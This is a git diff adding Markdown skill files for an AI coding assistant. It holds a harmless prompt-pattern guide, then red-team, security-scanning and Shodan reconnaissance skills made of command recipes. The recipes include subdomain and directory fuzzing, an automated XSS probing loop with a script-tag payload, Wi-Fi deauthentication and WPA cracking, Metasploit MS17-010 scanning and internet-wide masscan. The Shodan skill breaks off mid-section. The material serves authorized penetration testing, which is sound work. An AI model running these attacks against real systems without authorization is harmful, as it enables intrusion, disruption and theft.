+- Needs task-specific prompt patterns
+- Wants to improve their prompting
+
+## Prompt Categories
+
+### 🎭 Role-Based Prompts
+
+#### Expert Developer
+
+```
+Act as an expert software developer with 15+ years of experience. You specialize in clean code, SOLID principles, and pragmatic architecture. When reviewing code:
+1. Identify bugs and potential issues
+2. Suggest performance improvements
+3. Recommend better patterns
+4. Explain your reasoning clearly
+Always prioritize readability and maintainability over cleverness.
+```
+
+#### Code Reviewer
+
+```
+Act as a senior code reviewer. Your role is to:
+1. Check for bugs, edge cases, and error handling
+2. Evaluate code structure and organization
+3. Assess naming conventions and readability
+4. Identify potential security issues
+5. Suggest improvements with specific examples
+
+Format your review as:
+🔴 Critical Issues (must fix)
+🟡 Suggestions (should consider)
+🟢 Praise (what's done well)
+```
+
+#### Technical Writer
+
+```
+Act as a technical documentation expert. Transform complex technical concepts into clear, accessible documentation. Follow these principles:
+- Use simple language, avoid jargon
+- Include practical examples
+- Structure with clear headings
+- Add code snippets where helpful
+- Consider the reader's experience level
+```
+
+#### System Architect
+
+```
+Act as a senior system architect designing for scale. Consider:
+- Scalability (horizontal and vertical)
+- Reliability (fault tolerance, redundancy)
+- Maintainability (modularity, clear boundaries)
+- Performance (latency, throughput)
+- Cost efficiency
+
+Provide architecture decisions with trade-off analysis.
+```
+
+### 🛠️ Task-Specific Prompts
+
+#### Debug This Code
+
+```
+Debug the following code. Your analysis should include:
+
+1. **Problem Identification**: What exactly is failing?
+2. **Root Cause**: Why is it failing?
+3. **Fix**: Provide corrected code
+4. **Prevention**: How to prevent similar bugs
+
+Show your debugging thought process step by step.
+```
+
+#### Explain Like I'm 5 (ELI5)
+
+```
+Explain [CONCEPT] as if I'm 5 years old. Use:
+- Simple everyday analogies
+- No technical jargon
+- Short sentences
+- Relatable examples from daily life
+- A fun, engaging tone
+```
+
+#### Code Refactoring
+
+```
+Refactor this code following these priorities:
+1. Readability first
+2. Remove duplication (DRY)
+3. Single responsibility per function
+4. Meaningful names
+5. Add comments only where necessary
+
+Show before/after with explanation of changes.
+```
+
+#### Write Tests
+
+```
+Write comprehensive tests for this code:
+1. Happy path scenarios
+2. Edge cases
+3. Error conditions
+4. Boundary values
+
+Use [FRAMEWORK] testing conventions. Include:
+- Descriptive test names
+- Arrange-Act-Assert pattern
+- Mocking where appropriate
+```
+
+#### API Documentation
+
+```
+Generate API documentation for this endpoint including:
+- Endpoint URL and method
+- Request parameters (path, query, body)
+- Request/response examples
+- Error codes and meanings
+- Authentication requirements
+- Rate limits if applicable
+
+Format as OpenAPI/Swagger or Markdown.
+```
+
+### 📊 Analysis Prompts
+
+#### Code Complexity Analysis
+
+```
+Analyze the complexity of this codebase:
+
+1. **Cyclomatic Complexity**: Identify complex functions
+2. **Coupling**: Find tightly coupled components
+3. **Cohesion**: Assess module cohesion
+4. **Dependencies**: Map critical dependencies
+5. **Technical Debt**: Highlight areas needing refactoring
+
+Rate each area and provide actionable recommendations.
+```
+
+#### Performance Analysis
+
+```
+Analyze this code for performance issues:
+
+1. **Time Complexity**: Big O analysis
+2. **Space Complexity**: Memory usage patterns
+3. **I/O Bottlenecks**: Database, network, disk
+4. **Algorithmic Issues**: Inefficient patterns
+5. **Quick Wins**: Easy optimizations
+
+Prioritize findings by impact.
+```
+
+#### Security Review
+
+```
+Perform a security review of this code:
+
+1. **Input Validation**: Check all inputs
+2. **Authentication/Authorization**: Access control
+3. **Data Protection**: Sensitive data handling
+4. **Injection Vulnerabilities**: SQL, XSS, etc.
+5. **Dependencies**: Known vulnerabilities
+
+Classify issues by severity (Critical/High/Medium/Low).
+```
+
+### 🎨 Creative Prompts
+
+#### Brainstorm Features
+
+```
+Brainstorm features for [PRODUCT]:
+
+For each feature, provide:
+- Name and one-line description
+- User value proposition
+- Implementation complexity (Low/Med/High)
+- Dependencies on other features
+
+Generate 10 ideas, then rank top 3 by impact/effort ratio.
+```
+
+#### Name Generator
+
+```
+Generate names for [PROJECT/FEATURE]:
+
+Provide 10 options in these categories:
+- Descriptive (what it does)
+- Evocative (how it feels)
+- Acronyms (memorable abbreviations)
+- Metaphorical (analogies)
+
+For each, explain the reasoning and check domain availability patterns.
+```
+
+### 🔄 Transformation Prompts
+
+#### Migrate Code
+
+```
+Migrate this code from [SOURCE] to [TARGET]:
+
+1. Identify equivalent constructs
+2. Handle incompatible features
+3. Preserve functionality exactly
+4. Follow target language idioms
+5. Add necessary dependencies
+
+Show the migration step by step with explanations.
+```
+
+#### Convert Format
+
+```
+Convert this [SOURCE_FORMAT] to [TARGET_FORMAT]:
+
+Requirements:
+- Preserve all data
+- Use idiomatic target format
+- Handle edge cases
+- Validate the output
+- Provide sample verification
+```
+
+## Prompt Engineering Techniques
+
+### Chain of Thought (CoT)
+
+```
+Let's solve this step by step:
+1. First, I'll understand the problem
+2. Then, I'll identify the key components
+3. Next, I'll work through the logic
+4. Finally, I'll verify the solution
+
+[Your question here]
+```
+
+### Few-Shot Learning
+
+```
+Here are some examples of the task:
+
+Example 1:
+Input: [example input 1]
+Output: [example output 1]
+
+Example 2:
+Input: [example input 2]
+Output: [example output 2]
+
+Now complete this:
+Input: [actual input]
+Output:
+```
+
+### Persona Pattern
+
+```
+You are [PERSONA] with [TRAITS].
+Your communication style is [STYLE].
+You prioritize [VALUES].
+
+When responding:
+- [Behavior 1]
+- [Behavior 2]
+- [Behavior 3]
+```
+
+### Structured Output
+
+```
+Respond in the following JSON format:
+{
+  "analysis": "your analysis here",
+  "recommendations": ["rec1", "rec2"],
+  "confidence": 0.0-1.0,
+  "caveats": ["caveat1"]
+}
+```
+
+## Prompt Improvement Checklist
+
+When crafting prompts, ensure:
+
+- [ ] **Clear objective**: What exactly do you want?
+- [ ] **Context provided**: Background information included?
+- [ ] **Format specified**: How should output be structured?
+- [ ] **Examples given**: Are there reference examples?
+- [ ] **Constraints defined**: Any limitations or requirements?
+- [ ] **Success criteria**: How do you measure good output?
+
+## Resources
+
+- [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)
+- [prompts.chat](https://prompts.chat)
+- [Learn Prompting](https://learnprompting.org/)
+
+---
+
+> 💡 **Tip**: The best prompts are specific, provide context, and include examples of desired output.

skills/red-team-tools/SKILL.md

@@ -0,0 +1,307 @@
+---
+name: Red Team Tools and Methodology
+description: This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
+---
+
+# Red Team Tools and Methodology
+
+## Purpose
+
+Implement proven methodologies and tool workflows from top security researchers for effective reconnaissance, vulnerability discovery, and bug bounty hunting. Automate common tasks while maintaining thorough coverage of attack surfaces.
+
+## Inputs/Prerequisites
+
+- Target scope definition (domains, IP ranges, applications)
+- Linux-based attack machine (Kali, Ubuntu)
+- Bug bounty program rules and scope
+- Tool dependencies installed (Go, Python, Ruby)
+- API keys for various services (Shodan, Censys, etc.)
+
+## Outputs/Deliverables
+
+- Comprehensive subdomain enumeration
+- Live host discovery and technology fingerprinting
+- Identified vulnerabilities and attack vectors
+- Automated recon pipeline outputs
+- Documented findings for reporting
+
+## Core Workflow
+
+### 1. Project Tracking and Acquisitions
+
+Set up reconnaissance tracking:
+
+```bash
+# Create project structure
+mkdir -p target/{recon,vulns,reports}
+cd target
+
+# Find acquisitions using Crunchbase
+# Search manually for subsidiary companies
+
+# Get ASN for targets
+amass intel -org "Target Company" -src
+
+# Alternative ASN lookup
+curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
+```
+
+### 2. Subdomain Enumeration
+
+Comprehensive subdomain discovery:
+
+```bash
+# Create wildcards file
+echo "target.com" > wildcards
+
+# Run Amass passively
+amass enum -passive -d target.com -src -o amass_passive.txt
+
+# Run Amass actively
+amass enum -active -d target.com -src -o amass_active.txt
+
+# Use Subfinder
+subfinder -d target.com -silent -o subfinder.txt
+
+# Asset discovery
+cat wildcards | assetfinder --subs-only | anew domains.txt
+
+# Alternative subdomain tools
+findomain -t target.com -o
+
+# Generate permutations with dnsgen
+cat domains.txt | dnsgen - | httprobe > permuted.txt
+
+# Combine all sources
+cat amass_*.txt subfinder.txt | sort -u > all_subs.txt
+```
+
+### 3. Live Host Discovery
+
+Identify responding hosts:
+
+```bash
+# Check which hosts are live with httprobe
+cat domains.txt | httprobe -c 80 --prefer-https | anew hosts.txt
+
+# Use httpx for more details
+cat domains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt
+
+# Alternative with massdns
+massdns -r resolvers.txt -t A -o S domains.txt > resolved.txt
+```
+
+### 4. Technology Fingerprinting
+
+Identify technologies for targeted attacks:
+
+```bash
+# Whatweb scanning
+whatweb -i hosts.txt -a 3 -v > tech_stack.txt
+
+# Nuclei technology detection
+nuclei -l hosts.txt -t technologies/ -o tech_nuclei.txt
+
+# Wappalyzer (if available)
+# Browser extension for manual review
+```
+
+### 5. Content Discovery
+
+Find hidden endpoints and files:
+
+```bash
+# Directory bruteforce with ffuf
+ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
+
+# Historical URLs from Wayback
+waybackurls target.com | tee wayback.txt
+
+# Find all URLs with gau
+gau target.com | tee all_urls.txt
+
+# Parameter discovery
+cat all_urls.txt | grep "=" | sort -u > params.txt
+
+# Generate custom wordlist from historical data
+cat all_urls.txt | unfurl paths | sort -u > custom_wordlist.txt
+```
+
+### 6. Application Analysis (Jason Haddix Method)
+
+**Heat Map Priority Areas:**
+
+1. **File Uploads** - Test for injection, XXE, SSRF, shell upload
+2. **Content Types** - Filter Burp for multipart forms
+3. **APIs** - Look for hidden methods, lack of auth
+4. **Profile Sections** - Stored XSS, custom fields
+5. **Integrations** - SSRF through third parties
+6. **Error Pages** - Exotic injection points
+
+**Analysis Questions:**
+- How does the app pass data? (Params, API, Hybrid)
+- Where does the app talk about users? (UID, UUID endpoints)
+- Does the site have multi-tenancy or user levels?
+- Does it have a unique threat model?
+- How does the site handle XSS/CSRF?
+- Has the site had past writeups/exploits?
+
+### 7. Automated XSS Hunting
+
+```bash
+# ParamSpider for parameter extraction
+python3 paramspider.py --domain target.com -o params.txt
+
+# Filter with Gxss
+cat params.txt | Gxss -p test
+
+# Dalfox for XSS testing
+cat params.txt | dalfox pipe --mining-dict params.txt -o xss_results.txt
+
+# Alternative workflow
+waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do
+    curl -s "$url" | grep -q 'alert(1)' && echo "$url"
+done > potential_xss.txt
+```
+
+### 8. Vulnerability Scanning
+
+```bash
+# Nuclei comprehensive scan
+nuclei -l hosts.txt -t ~/nuclei-templates/ -o nuclei_results.txt
+
+# Check for common CVEs
+nuclei -l hosts.txt -t cves/ -o cve_results.txt
+
+# Web vulnerabilities
+nuclei -l hosts.txt -t vulnerabilities/ -o vuln_results.txt
+```
+
+### 9. API Enumeration
+
+**Wordlists for API fuzzing:**
+
+```bash
+# Enumerate API endpoints
+ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
+
+# Test API versions
+ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
+ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt
+
+# Check for hidden methods
+for method in GET POST PUT DELETE PATCH; do
+    curl -X $method https://target.com/api/users -v
+done
+```
+
+### 10. Automated Recon Script
+
+```bash
+#!/bin/bash
+domain=$1
+
+if [[ -z $domain ]]; then
+    echo "Usage: ./recon.sh <domain>"
+    exit 1
+fi
+
+mkdir -p "$domain"
+
+# Subdomain enumeration
+echo "[*] Enumerating subdomains..."
+subfinder -d "$domain" -silent > "$domain/subs.txt"
+
+# Live host discovery
+echo "[*] Finding live hosts..."
+cat "$domain/subs.txt" | httpx -title -tech-detect -status-code > "$domain/live.txt"
+
+# URL collection
+echo "[*] Collecting URLs..."
+cat "$domain/live.txt" | waybackurls > "$domain/urls.txt"
+
+# Nuclei scanning
+echo "[*] Running Nuclei..."
+nuclei -l "$domain/live.txt" -o "$domain/nuclei.txt"
+
+echo "[+] Recon complete!"
+```
+
+## Quick Reference
+
+### Essential Tools
+
+| Tool | Purpose |
+|------|---------|
+| Amass | Subdomain enumeration |
+| Subfinder | Fast subdomain discovery |
+| httpx/httprobe | Live host detection |
+| ffuf | Content discovery |
+| Nuclei | Vulnerability scanning |
+| Burp Suite | Manual testing |
+| Dalfox | XSS automation |
+| waybackurls | Historical URL mining |
+
+### Key API Endpoints to Check
+
+```
+/api/v1/users
+/api/v1/admin
+/api/v1/profile
+/api/users/me
+/api/config
+/api/debug
+/api/swagger
+/api/graphql
+```
+
+### XSS Filter Testing
+
+```html
+<!-- Test encoding handling -->
+<h1><img><table>
+<script>
+%3Cscript%3E
+%253Cscript%253E
+%26lt;script%26gt;
+```
+
+## Constraints
+
+- Respect program scope boundaries
+- Avoid DoS or fuzzing on production without permission
+- Rate limit requests to avoid blocking
+- Some tools may generate false positives
+- API keys required for full functionality of some tools
+
+## Examples
+
+### Example 1: Quick Subdomain Recon
+
+```bash
+subfinder -d target.com | httpx -title | tee results.txt
+```
+
+### Example 2: XSS Hunting Pipeline
+
+```bash
+waybackurls target.com | grep "=" | qsreplace "test" | httpx -silent | dalfox pipe
+```
+
+### Example 3: Comprehensive Scan
+
+```bash
+# Full recon chain
+amass enum -d target.com | httpx | nuclei -t ~/nuclei-templates/
+```
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Rate limited | Use proxy rotation, reduce concurrency |
+| Too many results | Focus on specific technology stacks |
+| False positives | Manually verify findings before reporting |
+| Missing subdomains | Combine multiple enumeration sources |
+| API key errors | Verify keys in config files |
+| Tools not found | Install Go tools with `go install` |

skills/scanning-tools/SKILL.md

@@ -0,0 +1,586 @@
+---
+name: Security Scanning Tools
+description: This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
+---
+
+# Security Scanning Tools
+
+## Purpose
+
+Master essential security scanning tools for network discovery, vulnerability assessment, web application testing, wireless security, and compliance validation. This skill covers tool selection, configuration, and practical usage across different scanning categories.
+
+## Prerequisites
+
+### Required Environment
+- Linux-based system (Kali Linux recommended)
+- Network access to target systems
+- Proper authorization for scanning activities
+
+### Required Knowledge
+- Basic networking concepts (TCP/IP, ports, protocols)
+- Understanding of common vulnerabilities
+- Familiarity with command-line interfaces
+
+## Outputs and Deliverables
+
+1. **Network Discovery Reports** - Identified hosts, ports, and services
+2. **Vulnerability Assessment Reports** - CVEs, misconfigurations, risk ratings
+3. **Web Application Security Reports** - OWASP Top 10 findings
+4. **Compliance Reports** - CIS benchmarks, PCI-DSS, HIPAA checks
+
+## Core Workflow
+
+### Phase 1: Network Scanning Tools
+
+#### Nmap (Network Mapper)
+
+Primary tool for network discovery and security auditing:
+
+```bash
+# Host discovery
+nmap -sn 192.168.1.0/24              # Ping scan (no port scan)
+nmap -sL 192.168.1.0/24              # List scan (DNS resolution)
+nmap -Pn 192.168.1.100               # Skip host discovery
+
+# Port scanning techniques
+nmap -sS 192.168.1.100               # TCP SYN scan (stealth)
+nmap -sT 192.168.1.100               # TCP connect scan
+nmap -sU 192.168.1.100               # UDP scan
+nmap -sA 192.168.1.100               # ACK scan (firewall detection)
+
+# Port specification
+nmap -p 80,443 192.168.1.100         # Specific ports
+nmap -p- 192.168.1.100               # All 65535 ports
+nmap -p 1-1000 192.168.1.100         # Port range
+nmap --top-ports 100 192.168.1.100   # Top 100 common ports
+
+# Service and OS detection
+nmap -sV 192.168.1.100               # Service version detection
+nmap -O 192.168.1.100                # OS detection
+nmap -A 192.168.1.100                # Aggressive (OS, version, scripts)
+
+# Timing and performance
+nmap -T0 192.168.1.100               # Paranoid (slowest, IDS evasion)
+nmap -T4 192.168.1.100               # Aggressive (faster)
+nmap -T5 192.168.1.100               # Insane (fastest)
+
+# NSE Scripts
+nmap --script=vuln 192.168.1.100     # Vulnerability scripts
+nmap --script=http-enum 192.168.1.100  # Web enumeration
+nmap --script=smb-vuln* 192.168.1.100  # SMB vulnerabilities
+nmap --script=default 192.168.1.100  # Default script set
+
+# Output formats
+nmap -oN scan.txt 192.168.1.100      # Normal output
+nmap -oX scan.xml 192.168.1.100      # XML output
+nmap -oG scan.gnmap 192.168.1.100    # Grepable output
+nmap -oA scan 192.168.1.100          # All formats
+```
+
+#### Masscan
+
+High-speed port scanning for large networks:
+
+```bash
+# Basic scanning
+masscan -p80 192.168.1.0/24 --rate=1000
+masscan -p80,443,8080 192.168.1.0/24 --rate=10000
+
+# Full port range
+masscan -p0-65535 192.168.1.0/24 --rate=5000
+
+# Large-scale scanning
+masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile exclude.txt
+
+# Output formats
+masscan -p80 192.168.1.0/24 -oG results.gnmap
+masscan -p80 192.168.1.0/24 -oJ results.json
+masscan -p80 192.168.1.0/24 -oX results.xml
+
+# Banner grabbing
+masscan -p80 192.168.1.0/24 --banners
+```
+
+### Phase 2: Vulnerability Scanning Tools
+
+#### Nessus
+
+Enterprise-grade vulnerability assessment:
+
+```bash
+# Start Nessus service
+sudo systemctl start nessusd
+
+# Access web interface
+# https://localhost:8834
+
+# Command-line (nessuscli)
+nessuscli scan --create --name "Internal Scan" --targets 192.168.1.0/24
+nessuscli scan --list
+nessuscli scan --launch <scan_id>
+nessuscli report --format pdf --output report.pdf <scan_id>
+```
+
+Key Nessus features:
+- Comprehensive CVE detection
+- Compliance checks (PCI-DSS, HIPAA, CIS)
+- Custom scan templates
+- Credentialed scanning for deeper analysis
+- Regular plugin updates
+
+#### OpenVAS (Greenbone)
+
+Open-source vulnerability scanning:
+
+```bash
+# Install OpenVAS
+sudo apt install openvas
+sudo gvm-setup
+
+# Start services
+sudo gvm-start
+
+# Access web interface (Greenbone Security Assistant)
+# https://localhost:9392
+
+# Command-line operations
+gvm-cli socket --xml "<get_version/>"
+gvm-cli socket --xml "<get_tasks/>"
+
+# Create and run scan
+gvm-cli socket --xml '
+<create_target>
+  <name>Test Target</name>
+  <hosts>192.168.1.0/24</hosts>
+</create_target>'
+```
+
+### Phase 3: Web Application Scanning Tools
+
+#### Burp Suite
+
+Comprehensive web application testing:
+
+```
+# Proxy configuration
+1. Set browser proxy to 127.0.0.1:8080
+2. Import Burp CA certificate for HTTPS
+3. Add target to scope
+
+# Key modules:
+- Proxy: Intercept and modify requests
+- Spider: Crawl web applications
+- Scanner: Automated vulnerability detection
+- Intruder: Automated attacks (fuzzing, brute-force)
+- Repeater: Manual request manipulation
+- Decoder: Encode/decode data
+- Comparer: Compare responses
+```
+
+Core testing workflow:
+1. Configure proxy and scope
+2. Spider the application
+3. Analyze sitemap
+4. Run active scanner
+5. Manual testing with Repeater/Intruder
+6. Review findings and generate report
+
+#### OWASP ZAP
+
+Open-source web application scanner:
+
+```bash
+# Start ZAP
+zaproxy
+
+# Automated scan from CLI
+zap-cli quick-scan https://target.com
+
+# Full scan
+zap-cli spider https://target.com
+zap-cli active-scan https://target.com
+
+# Generate report
+zap-cli report -o report.html -f html
+
+# API mode
+zap.sh -daemon -port 8080 -config api.key=<your_key>
+```
+
+ZAP automation:
+```bash
+# Docker-based scanning
+docker run -t owasp/zap2docker-stable zap-full-scan.py \
+  -t https://target.com -r report.html
+
+# Baseline scan (passive only)
+docker run -t owasp/zap2docker-stable zap-baseline.py \
+  -t https://target.com -r report.html
+```
+
+#### Nikto
+
+Web server vulnerability scanner:
+
+```bash
+# Basic scan
+nikto -h https://target.com
+
+# Scan specific port
+nikto -h target.com -p 8080
+
+# Scan with SSL
+nikto -h target.com -ssl
+
+# Multiple targets
+nikto -h targets.txt
+
+# Output formats
+nikto -h target.com -o report.html -Format html
+nikto -h target.com -o report.xml -Format xml
+nikto -h target.com -o report.csv -Format csv
+
+# Tuning options
+nikto -h target.com -Tuning 123456789  # All tests
+nikto -h target.com -Tuning x          # Exclude specific tests
+```
+
+### Phase 4: Wireless Scanning Tools
+
+#### Aircrack-ng Suite
+
+Wireless network penetration testing:
+
+```bash
+# Check wireless interface
+airmon-ng
+
+# Enable monitor mode
+sudo airmon-ng start wlan0
+
+# Scan for networks
+sudo airodump-ng wlan0mon
+
+# Capture specific network
+sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
+
+# Deauthentication attack
+sudo aireplay-ng -0 10 -a <bssid> wlan0mon
+
+# Crack WPA handshake
+aircrack-ng -w wordlist.txt -b <bssid> capture*.cap
+
+# Crack WEP
+aircrack-ng -b <bssid> capture*.cap
+```
+
+#### Kismet
+
+Passive wireless detection:
+
+```bash
+# Start Kismet
+kismet
+
+# Specify interface
+kismet -c wlan0
+
+# Access web interface
+# http://localhost:2501
+
+# Detect hidden networks
+# Kismet passively collects all beacon frames
+# including those from hidden SSIDs
+```
+
+### Phase 5: Malware and Exploit Scanning
+
+#### ClamAV
+
+Open-source antivirus scanning:
+
+```bash
+# Update virus definitions
+sudo freshclam
+
+# Scan directory
+clamscan -r /path/to/scan
+
+# Scan with verbose output
+clamscan -r -v /path/to/scan
+
+# Move infected files
+clamscan -r --move=/quarantine /path/to/scan
+
+# Remove infected files
+clamscan -r --remove /path/to/scan
+
+# Scan specific file types
+clamscan -r --include='\.exe$|\.dll$' /path/to/scan
+
+# Output to log
+clamscan -r -l scan.log /path/to/scan
+```
+
+#### Metasploit Vulnerability Validation
+
+Validate vulnerabilities with exploitation:
+
+```bash
+# Start Metasploit
+msfconsole
+
+# Database setup
+msfdb init
+db_status
+
+# Import Nmap results
+db_import /path/to/nmap_scan.xml
+
+# Vulnerability scanning
+use auxiliary/scanner/smb/smb_ms17_010
+set RHOSTS 192.168.1.0/24
+run
+
+# Auto exploitation
+vulns                           # View vulnerabilities
+analyze                         # Suggest exploits
+```
+
+### Phase 6: Cloud Security Scanning
+
+#### Prowler (AWS)
+
+AWS security assessment:
+
+```bash
+# Install Prowler
+pip install prowler
+
+# Basic scan
+prowler aws
+
+# Specific checks
+prowler aws -c iam s3 ec2
+
+# Compliance framework
+prowler aws --compliance cis_aws
+
+# Output formats
+prowler aws -M html json csv
+
+# Specific region
+prowler aws -f us-east-1
+
+# Assume role
+prowler aws -R arn:aws:iam::123456789012:role/ProwlerRole
+```
+
+#### ScoutSuite (Multi-cloud)
+
+Multi-cloud security auditing:
+
+```bash
+# Install ScoutSuite
+pip install scoutsuite
+
+# AWS scan
+scout aws
+
+# Azure scan
+scout azure --cli
+
+# GCP scan
+scout gcp --user-account
+
+# Generate report
+scout aws --report-dir ./reports
+```
+
+### Phase 7: Compliance Scanning
+
+#### Lynis
+
+Security auditing for Unix/Linux:
+
+```bash
+# Run audit
+sudo lynis audit system
+
+# Quick scan
+sudo lynis audit system --quick
+
+# Specific profile
+sudo lynis audit system --profile server
+
+# Output report
+sudo lynis audit system --report-file /tmp/lynis-report.dat
+
+# Check specific section
+sudo lynis show profiles
+sudo lynis audit system --tests-from-group malware
+```
+
+#### OpenSCAP
+
+Security compliance scanning:
+
+```bash
+# List available profiles
+oscap info /usr/share/xml/scap/ssg/content/ssg-<distro>-ds.xml
+
+# Run scan with profile
+oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \
+  --report report.html \
+  /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
+
+# Generate fix script
+oscap xccdf generate fix \
+  --profile xccdf_org.ssgproject.content_profile_pci-dss \
+  --output remediation.sh \
+  /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
+```
+
+### Phase 8: Scanning Methodology
+
+Structured scanning approach:
+
+1. **Planning**
+   - Define scope and objectives
+   - Obtain proper authorization
+   - Select appropriate tools
+
+2. **Discovery**
+   - Host discovery (Nmap ping sweep)
+   - Port scanning
+   - Service enumeration
+
+3. **Vulnerability Assessment**
+   - Automated scanning (Nessus/OpenVAS)
+   - Web application scanning (Burp/ZAP)
+   - Manual verification
+
+4. **Analysis**
+   - Correlate findings
+   - Eliminate false positives
+   - Prioritize by severity
+
+5. **Reporting**
+   - Document findings
+   - Provide remediation guidance
+   - Executive summary
+
+### Phase 9: Tool Selection Guide
+
+Choose the right tool for each scenario:
+
+| Scenario | Recommended Tools |
+|----------|-------------------|
+| Network Discovery | Nmap, Masscan |
+| Vulnerability Assessment | Nessus, OpenVAS |
+| Web App Testing | Burp Suite, ZAP, Nikto |
+| Wireless Security | Aircrack-ng, Kismet |
+| Malware Detection | ClamAV, YARA |
+| Cloud Security | Prowler, ScoutSuite |
+| Compliance | Lynis, OpenSCAP |
+| Protocol Analysis | Wireshark, tcpdump |
+
+### Phase 10: Reporting and Documentation
+
+Generate professional reports:
+
+```bash
+# Nmap XML to HTML
+xsltproc nmap-output.xml -o report.html
+
+# OpenVAS report export
+gvm-cli socket --xml '<get_reports report_id="<id>" format_id="<pdf_format>"/>'
+
+# Combine multiple scan results
+# Use tools like Faraday, Dradis, or custom scripts
+
+# Executive summary template:
+# 1. Scope and methodology
+# 2. Key findings summary
+# 3. Risk distribution chart
+# 4. Critical vulnerabilities
+# 5. Remediation recommendations
+# 6. Detailed technical findings
+```
+
+## Quick Reference
+
+### Nmap Cheat Sheet
+
+| Scan Type | Command |
+|-----------|---------|
+| Ping Scan | `nmap -sn <target>` |
+| Quick Scan | `nmap -T4 -F <target>` |
+| Full Scan | `nmap -p- <target>` |
+| Service Scan | `nmap -sV <target>` |
+| OS Detection | `nmap -O <target>` |
+| Aggressive | `nmap -A <target>` |
+| Vuln Scripts | `nmap --script=vuln <target>` |
+| Stealth Scan | `nmap -sS -T2 <target>` |
+
+### Common Ports Reference
+
+| Port | Service |
+|------|---------|
+| 21 | FTP |
+| 22 | SSH |
+| 23 | Telnet |
+| 25 | SMTP |
+| 53 | DNS |
+| 80 | HTTP |
+| 443 | HTTPS |
+| 445 | SMB |
+| 3306 | MySQL |
+| 3389 | RDP |
+
+## Constraints and Limitations
+
+### Legal Considerations
+- Always obtain written authorization
+- Respect scope boundaries
+- Follow responsible disclosure practices
+- Comply with local laws and regulations
+
+### Technical Limitations
+- Some scans may trigger IDS/IPS alerts
+- Heavy scanning can impact network performance
+- False positives require manual verification
+- Encrypted traffic may limit analysis
+
+### Best Practices
+- Start with non-intrusive scans
+- Gradually increase scan intensity
+- Document all scanning activities
+- Validate findings before reporting
+
+## Troubleshooting
+
+### Scan Not Detecting Hosts
+
+**Solutions:**
+1. Try different discovery methods: `nmap -Pn` or `nmap -sn -PS/PA/PU`
+2. Check firewall rules blocking ICMP
+3. Use TCP SYN scan: `nmap -PS22,80,443`
+4. Verify network connectivity
+
+### Slow Scan Performance
+
+**Solutions:**
+1. Increase timing: `nmap -T4` or `-T5`
+2. Reduce port range: `--top-ports 100`
+3. Use Masscan for initial discovery
+4. Disable DNS resolution: `-n`
+
+### Web Scanner Missing Vulnerabilities
+
+**Solutions:**
+1. Authenticate to access protected areas
+2. Increase crawl depth
+3. Add custom injection points
+4. Use multiple tools for coverage
+5. Perform manual testing

skills/shodan-reconnaissance/SKILL.md

@@ -0,0 +1,500 @@
+---
+name: Shodan Reconnaissance and Pentesting
+description: This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
+---
+
+# Shodan Reconnaissance and Pentesting
+
+## Purpose
+
+Provide systematic methodologies for leveraging Shodan as a reconnaissance tool during penetration testing engagements. This skill covers the Shodan web interface, command-line interface (CLI), REST API, search filters, on-demand scanning, and network monitoring capabilities for discovering exposed services, vulnerable systems, and IoT devices.
+
+## Inputs / Prerequisites
+
+- **Shodan Account**: Free or paid account at shodan.io
+- **API Key**: Obtained from Shodan account dashboard
+- **Target Information**: IP addresses, domains, or network ranges to investigate
+- **Shodan CLI**: Python-based command-line tool installed
+- **Authorization**: Written permission for reconnaissance on target networks
+
+## Outputs / Deliverables
+
+- **Asset Inventory**: List of discovered hosts, ports, and services
+- **Vulnerability Report**: Identified CVEs and exposed vulnerable services
+- **Banner Data**: Service banners revealing software versions
+- **Network Mapping**: Geographic and organizational distribution of assets
+- **Screenshot Gallery**: Visual reconnaissance of exposed interfaces
+- **Exported Data**: JSON/CSV files for further analysis
+
+## Core Workflow
+
+### 1. Setup and Configuration
+
+#### Install Shodan CLI
+```bash
+# Using pip
+pip install shodan
+
+# Or easy_install
+easy_install shodan
+
+# On BlackArch/Arch Linux
+sudo pacman -S python-shodan
+```
+
+#### Initialize API Key
+```bash
+# Set your API key
+shodan init YOUR_API_KEY
+
+# Verify setup
+shodan info
+# Output: Query credits available: 100
+#         Scan credits available: 100
+```
+
+#### Check Account Status
+```bash
+# View credits and plan info
+shodan info
+
+# Check your external IP
+shodan myip
+
+# Check CLI version
+shodan version
+```
+
+### 2. Basic Host Reconnaissance
+
+#### Query Single Host
+```bash
+# Get all information about an IP
+shodan host 1.1.1.1
+
+# Example output:
+# 1.1.1.1
+# Hostnames: one.one.one.one
+# Country: Australia
+# Organization: Mountain View Communications
+# Number of open ports: 3
+# Ports:
+#   53/udp
+#   80/tcp
+#   443/tcp
+```
+
+#### Check if Host is Honeypot
+```bash
+# Get honeypot probability score
+shodan honeyscore 192.168.1.100
+
+# Output: Not a honeypot
+#         Score: 0.3
+```
+
+### 3. Search Queries
+
+#### Basic Search (Free)
+```bash
+# Simple keyword search (no credits consumed)
+shodan search apache
+
+# Specify output fields
+shodan search --fields ip_str,port,os smb
+```
+
+#### Filtered Search (1 Credit)
+```bash
+# Product-specific search
+shodan search product:mongodb
+
+# Search with multiple filters
+shodan search product:nginx country:US city:"New York"
+```
+
